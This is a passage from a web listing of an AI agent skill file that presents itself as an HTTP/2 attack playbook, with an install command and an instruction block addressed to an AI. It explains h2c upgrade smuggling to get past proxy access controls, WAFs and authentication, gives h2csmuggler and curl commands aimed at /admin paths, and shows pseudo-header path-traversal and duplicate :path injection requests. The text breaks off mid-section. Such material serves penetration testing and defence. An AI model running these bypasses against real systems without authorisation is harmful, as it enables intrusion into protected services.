http2-specific-attacks
starsforks
How to install http2-specific-attacks?
prohao42/aimy-skill/http2-specific-attacks
$npx -y skills add Prohao42/aimy-skill --skill http2-specific-attacksHTTP/2 protocol-specific attack playbook. Use when the target supports HTTP/2 and you need to exploit binary framing, HPACK compression, h2c upgrade smuggling, pseudo-header injection, stream multiplexing abuse, or H2→H1 downgrade translation flaws.
SKILL.md
| 1 | # SKILL: HTTP/2 Specific Attacks — Expert Attack Playbook |
| 2 | |
| 3 | > **AI LOAD INSTRUCTION**: HTTP/2 protocol-level attack techniques beyond basic request smuggling. Covers h2c smuggling, pseudo-header manipulation, HPACK attacks, single-packet race conditions, and H2→H1 downgrade injection. Base models conflate HTTP/2 smuggling with HTTP/1.1 smuggling — this skill focuses on H2-unique attack surface. |
| 4 | |
| 5 | ## 0. RELATED ROUTING |
| 6 | |
| 7 | - [request-smuggling](../request-smuggling/SKILL.md) — CL.TE/TE.CL/TE.TE fundamentals and H2.CL/H2.TE variants |
| 8 | - [request-smuggling/H2_SMUGGLING_VARIANTS.md](../request-smuggling/H2_SMUGGLING_VARIANTS.md) — byte-level H2.CL/H2.TE payloads, CL.0, client-side desync |
| 9 | - [race-condition](../race-condition/SKILL.md) — single-packet attack leverages H2 multiplexing for race conditions |
| 10 | - [web-cache-deception](../web-cache-deception/SKILL.md) — cache poisoning via H2 smuggled responses |
| 11 | |
| 12 | --- |
| 13 | |
| 14 | ## 1. HTTP/2 ATTACK SURFACE OVERVIEW |
| 15 | |
| 16 | | Feature | Attack Surface | |
| 17 | |---|---| |
| 18 | | Binary framing | Frame-level manipulation, parser differentials | |
| 19 | | HPACK compression | Compression oracles (CRIME/BREACH), table poisoning | |
| 20 | | Multiplexing | Single-packet race conditions, RST_STREAM flood | |
| 21 | | Server push | Cache poisoning via unsolicited push | |
| 22 | | Pseudo-headers (`:method`/`:path`/`:authority`/`:scheme`) | Injection, request splitting, path discrepancy | |
| 23 | |
| 24 | --- |
| 25 | |
| 26 | ## 2. h2c (HTTP/2 CLEARTEXT) SMUGGLING |
| 27 | |
| 28 | ### 2.1 Concept |
| 29 | |
| 30 | h2c is HTTP/2 without TLS, negotiated via the HTTP/1.1 `Upgrade` mechanism. Many reverse proxies forward the `Upgrade: h2c` header without understanding it, allowing attackers to bypass proxy-level access controls. |
| 31 | |
| 32 | ``` |
| 33 | Client ──[Upgrade: h2c]──> Reverse Proxy ──[forwards blindly]──> Backend |
| 34 | │ |
| 35 | Backend speaks H2 |
| 36 | Proxy is blind to |
| 37 | the H2 conversation |
| 38 | ``` |
| 39 | |
| 40 | ### 2.2 Attack Flow |
| 41 | |
| 42 | ``` |
| 43 | 1. Client sends HTTP/1.1 request with: |
| 44 | GET / HTTP/1.1 |
| 45 | Host: target.com |
| 46 | Upgrade: h2c |
| 47 | HTTP2-Settings: <base64 H2 settings> |
| 48 | Connection: Upgrade, HTTP2-Settings |
| 49 | |
| 50 | 2. Proxy forwards request (doesn't understand h2c) |
| 51 | 3. Backend responds: HTTP/1.1 101 Switching Protocols |
| 52 | 4. Connection is now HTTP/2 between client and backend |
| 53 | 5. Proxy is now a TCP tunnel — cannot inspect/filter H2 frames |
| 54 | 6. Client sends H2 requests directly to backend, bypassing proxy rules |
| 55 | ``` |
| 56 | |
| 57 | ### 2.3 What You Can Bypass |
| 58 | |
| 59 | ``` |
| 60 | ✓ Path-based access controls (/admin blocked at proxy → accessible via h2c) |
| 61 | ✓ WAF rules (proxy-side WAF can't inspect H2 binary frames) |
| 62 | ✓ Rate limiting (proxy-level rate limits bypassed) |
| 63 | ✓ Authentication (proxy-enforced auth headers) |
| 64 | ✓ IP restrictions (proxy validates source IP, but h2c tunnel bypasses) |
| 65 | ``` |
| 66 | |
| 67 | ### 2.4 Tool: h2csmuggler |
| 68 | |
| 69 | ```bash |
| 70 | # Install |
| 71 | git clone https://github.com/BishopFox/h2csmuggler |
| 72 | cd h2csmuggler |
| 73 | pip3 install h2 |
| 74 | |
| 75 | # Basic smuggle — access /admin bypassing proxy restrictions |
| 76 | python3 h2csmuggler.py -x https://target.com/ --test |
| 77 | |
| 78 | # Smuggle specific path |
| 79 | python3 h2csmuggler.py -x https://target.com/ -X GET -p /admin/users |
| 80 | |
| 81 | # With custom headers |
| 82 | python3 h2csmuggler.py -x https://target.com/ -X GET -p /admin \ |
| 83 | -H "Authorization: Bearer token123" |
| 84 | ``` |
| 85 | |
| 86 | ### 2.5 Detection |
| 87 | |
| 88 | ```bash |
| 89 | # Check if backend supports h2c upgrade |
| 90 | curl -v --http1.1 https://target.com/ \ |
| 91 | -H "Upgrade: h2c" \ |
| 92 | -H "HTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAA" \ |
| 93 | -H "Connection: Upgrade, HTTP2-Settings" |
| 94 | |
| 95 | # 101 Switching Protocols → h2c supported |
| 96 | # 200/400/other → h2c not supported or proxy blocks upgrade |
| 97 | ``` |
| 98 | |
| 99 | --- |
| 100 | |
| 101 | ## 3. PSEUDO-HEADER INJECTION |
| 102 | |
| 103 | ### 3.1 HTTP/2 Pseudo-Headers |
| 104 | |
| 105 | HTTP/2 replaces the request line with pseudo-headers (prefixed with `:`): |
| 106 | |
| 107 | | Pseudo-Header | HTTP/1.1 Equivalent | Example | |
| 108 | |---|---|---| |
| 109 | | `:method` | Request method | `GET`, `POST` | |
| 110 | | `:path` | Request URI | `/api/users` | |
| 111 | | `:authority` | Host header | `target.com` | |
| 112 | | `:scheme` | Protocol | `https` | |
| 113 | |
| 114 | ### 3.2 Path Discrepancy Between Proxy and Backend |
| 115 | |
| 116 | ``` |
| 117 | Scenario: Proxy routes based on :path, backend uses different parsing |
| 118 | |
| 119 | H2 request: |
| 120 | :method: GET |
| 121 | :path: /public/../admin/users |
| 122 | :authority: target.com |
| 123 | |
| 124 | Proxy sees: /public/../admin/users → matches /public/* rule → ALLOWED |
| 125 | Backend normalizes: /admin/users → serves admin content |
| 126 | ``` |
| 127 | |
| 128 | ### 3.3 Duplicate Pseudo-Header Injection |
| 129 | |
| 130 | HTTP/2 spec forbids duplicate pseudo-headers, but implementation varies: |
| 131 | |
| 132 | ``` |
| 133 | :method: GET |
| 134 | :path: /public |
| 135 | :path: /admin ← duplicate, forbidden by spec |
| 136 | :authority: target.com |
| 137 | |
| 138 | Proxy may use first :path (/public) for routing |
| 139 | Backend may use last :path ( |
People who liked this also viewed
6 picksType
- entra-app-registrationGuides Microsoft Entra ID app registration, OAuth 2.0 authentication, and MSAL integration. USE FOR: create app registration, register Azure AD app, configure OAuth, set up authentication, add API perSkillsJul 2026
- azure-complianceRun Azure compliance and security audits with azqr plus Key Vault expiration checks. Covers best-practice assessment, resource review, policy/compliance validation, and security posture checks. WHEN: SkillsJul 2026
- azure-rbacOfficial agent plugin providing skills and MCP server configurations for Azure scenarios.SkillsJul 2026
- better-auth-best-practicesAgent skill from better-auth/skillsSkillsJul 2026
- firebase-security-rules-auditorA skill to evaluate how secure Firestore security rules are. Use this when Firestore security rules are updated to ensure that the generated rules are extremely secure and robust.SkillsJul 2026
- audit-websiteAudit a website with the squirrelscan CLI and fix the findings in code. Runs SEO, performance, security, technical, content, accessibility, and 15 other rule categories (260+ rules), returns an LLM-opSkillsJul 2026
